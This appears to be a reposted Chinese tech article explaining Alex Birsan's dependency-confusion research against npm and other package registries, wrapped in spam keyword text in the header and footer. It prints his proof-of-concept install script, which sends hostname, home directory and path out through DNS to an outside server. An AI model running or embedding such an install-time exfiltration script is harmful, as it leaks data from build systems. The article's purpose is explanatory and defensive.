成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

利用 Npm 的缺陷,他獲得了 130,000 美元的賞金

新聞
一個搞安全的程序員 Birsan, 利用 npm 的設計缺陷,成功進入了 35 個公司的內網系統,這些公司還是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此獲得了超過 130,000 美元的賞金。那么他是怎么做到的呢?

 [[390104]]

最近看到一個新聞,開眼了。

一個搞安全的程序員 Birsan, 利用 npm 的設計缺陷,成功進入了 35 個公司的內網系統,這些公司還是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此獲得了超過 130,000 美元的賞金。那么他是怎么做到的呢?

一些包管理工具,比如說 Python 的 pip,Node.js 的 npm,Java 的 maven,可以從開源的倉庫下載軟件包,同時自動管理依賴項。其實我們都假設這些軟件包是安全的,事實上,每個人都可以制作并上傳自己開發的軟件,一旦有人不懷好意,上傳一些別有用心的軟件包,你下載后軟件會自動安裝和執行,這就相當于被黑了。

問題是如何讓別人下載呢?開源軟件的代碼是公開的,有問題的軟件包被下載的概率很低,前攻擊者會依靠社會工程手段或將軟件命名為正常名稱易拼寫出錯的名稱,安裝時一旦拼寫錯誤,就下載了惡意軟件。這種方式有一定的局限性,只要稍微認真點,就不會出錯。

而 Birsan 用的是非常隱蔽的方式,就算軟件包的名稱完全正確,也有可能下載到惡意軟件。具體的過程是這樣的:

Birsan 發現了 PayPal 內部使用的 package.json,這里面有一些軟件包并不在公共倉庫中:

上圖中標紅色的部分,是 PayPal 內部使用的 npm 軟件包,由公司內部使用和存儲。看到這一點,Birsan 想知道,這些軟件包是私有的,如果在公共 npm 存儲庫中存在同名的軟件包會怎么樣?

為了檢驗這個假設,Birsan 開始尋找一些私有內部軟件包的名稱,這可以在 GitHub 倉庫或知名公司的 CDN 中的清單文件中找到,這些軟件包在公共開放源代碼倉庫中是不存在的。

然后,Birsan 在開源存儲庫(例如 npm,PyPI 和 RubyGems)上使用相同的名稱創建偽造項目。這些偽造的項目都是在他的真實帳戶下完成的,并且有免責聲明,并聲明此程序包用于安全研究目的,并且不包含任何有用的代碼。

結果發現,這些包管理工具會優先下載公共存儲庫上的軟件包,如果不指定軟件包的版本號,則優先下載高版本的軟件包。這樣,Birsan 只需發布與公司內部名稱相同的軟件包,就可以成功地對 Microsoft,Apple,PayPal,Shopify,Netflix,Tesla,Yelp 和 Uber 進行攻擊。

那么你可能想知道,如何進行攻擊的呢?軟件包管理器,比如 pip,npm,具有預安裝腳本,一旦下載就會進行安裝,安裝過程執行的代碼就是黑客寫好的代碼,至于這些代碼具體能做什么事情,寫過程序的人都知道,你可以發揮想象。鑒于大多數公司網絡都被保護的很好,想滲透沒那么容易,Birsan 使用的是 DNS 滲透。

下面顯示的代碼就是 Birsan 制作的 npm 軟件包 analytics-paypal(該軟件包現在已從 npm 中刪除)。

  1. const dns = require('dns'); 
  2. const os = require("os"); 
  3.  
  4. const suffix = '.dns.alexbirsan-hacks-paypal.com'
  5. const package = 'analytics-paypal'
  6.  
  7. data = package +  
  8.     '__' + os.hostname() + 
  9.     '__' + os.homedir() + 
  10.     '__' + __dirname; 
  11.  
  12. data = data.replace(/[^a-zA-Z0-9._]/g, 
  13.     function(m){ 
  14.         return '_' + m.charCodeAt(0).toString(16); 
  15.     }); 
  16.  
  17. data = data.match(/.{1,50}/g); 
  18.  
  19. dns.setServers(['46.101.225.109']); 
  20.  
  21. id = Math.random().toString(36).substring(7); 
  22.  
  23. data.forEach(function(chunk){ 
  24.     dns.resolve(id + '.' + chunk + suffix, 'A',console.log) 
  25. }); 

該腳本將在 analytics-paypal 依賴項被下載后立即自動啟動,并向 dns.alexbirsan-hacks-paypal.com 發出 DNS 請求。從 PayPal 系統收到的回叫會提醒 Birsan,發出請求的 IP 屬于貝寶 PayPal ,以及用戶名和受感染系統的主目錄。

充分驗證這些假冒的軟件包已成功滲透到公司網絡后,Birsan 隨后將其報告給這些被入侵的公司,并因此獲得賞金。這些漏洞賞金計劃讓 Birsan 累計獲得了 13 萬美元的獎勵。

那么這些公司都是如何修復的呢?修復可能會比較難,因為 pip,npm 是開源工具,工具本身存在缺陷,解鈴還須系鈴人,最好的解決辦法就是維護一個健康的開源生態,比如給這些工具提供更安全的配置,對開源倉庫中提交的軟件包進行審核等等。

開源工具的缺陷并不是某一公司的問題,但可以對這些缺陷進行緩解,比如對于私有的軟件包,使用前可以進行簽名校驗,確保該軟件包來自于公司內部。

最后的話

我自己使用 pip,npm 時只是覺得它們如此的方便,非常依賴它們,以至于從未懷疑這些工具也存在安全問題,所謂最依賴的工具一旦出了問題也是最致命的,如果你的公司也存在類似的情況,是時候做出一些改進了。

從 Birsan 的經歷中也可以看出,如果你有一個有趣的想法,請立即去驗證它,無論結果如何,你都不虛此行。

本文轉載自微信公眾號「Python七號」,可以通過以下二維碼關注。轉載本文請聯系Python七號公眾號。

 

責任編輯:武曉燕 來源: Python七號
相關推薦

2021-12-09 11:48:17

勒索軟件惡意軟件安全

2020-12-01 22:23:45

物聯網投資回報IOT

2010-02-24 09:13:04

2021-05-24 09:35:21

黑客源代碼訪問權限

2021-07-21 20:26:34

Google地圖交通擁擠

2023-08-13 16:10:05

Windows 10Windows 11

2021-12-01 07:26:12

AIOps企業

2011-08-11 15:27:45

網康國家專利

2010-08-05 10:09:42

屏蔽連接件元器件西蒙

2022-01-26 07:47:22

黑客漏洞網絡安全

2021-07-15 17:31:44

無人機人工智能AI

2017-10-12 13:00:22

LinuxRISC-V多核開源處理器

2015-07-02 16:56:00

程序員能力

2020-06-15 15:52:00

惡意軟件黑客網絡攻擊

2020-08-31 08:02:48

黑客漏洞網絡攻擊

2019-07-10 16:45:49

LinuxLinux游戲游戲性能

2024-01-25 16:03:24

2025-04-11 15:31:34

2018-05-31 11:24:53

維諦技術

2015-12-03 17:28:21

Veeam
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 久久国产精品色av免费观看 | 久久久精品久久久 | 中文字幕第十一页 | 一区二区视频在线 | 成人久久网 | 久久久久久av | 日韩三级电影在线看 | 欧美午夜精品久久久久免费视 | 欧美日韩精品综合 | 亚洲一区二区三区四区五区午夜 | 久草新在线 | 中文字幕在线一区二区三区 | 亚洲综合久久久 | 国产精品一区二区三区免费观看 | 亚州精品天堂中文字幕 | 国产精品一区久久久 | 黄色大片视频 | 精品久久久久久久久久久 | 欧美福利 | 91精品国产综合久久婷婷香蕉 | 国产欧美日韩一区 | 九色在线观看 | 色免费在线视频 | 欧美一区久久 | 久久精品色欧美aⅴ一区二区 | 自拍偷拍3p| 色婷婷国产精品 | 日本精品一区 | 嫩草视频免费 | 国产精品久久久久国产a级 欧美日本韩国一区二区 | 久久久久久精 | 视频一区二区在线观看 | 久草免费在线视频 | 久久乐国产精品 | 91精品国产综合久久精品图片 | www.日韩| 国产乱精品一区二区三区 | 美女一级毛片 | 欧美日韩久久精品 | 亚洲日本国产 | 天天综合永久入口 |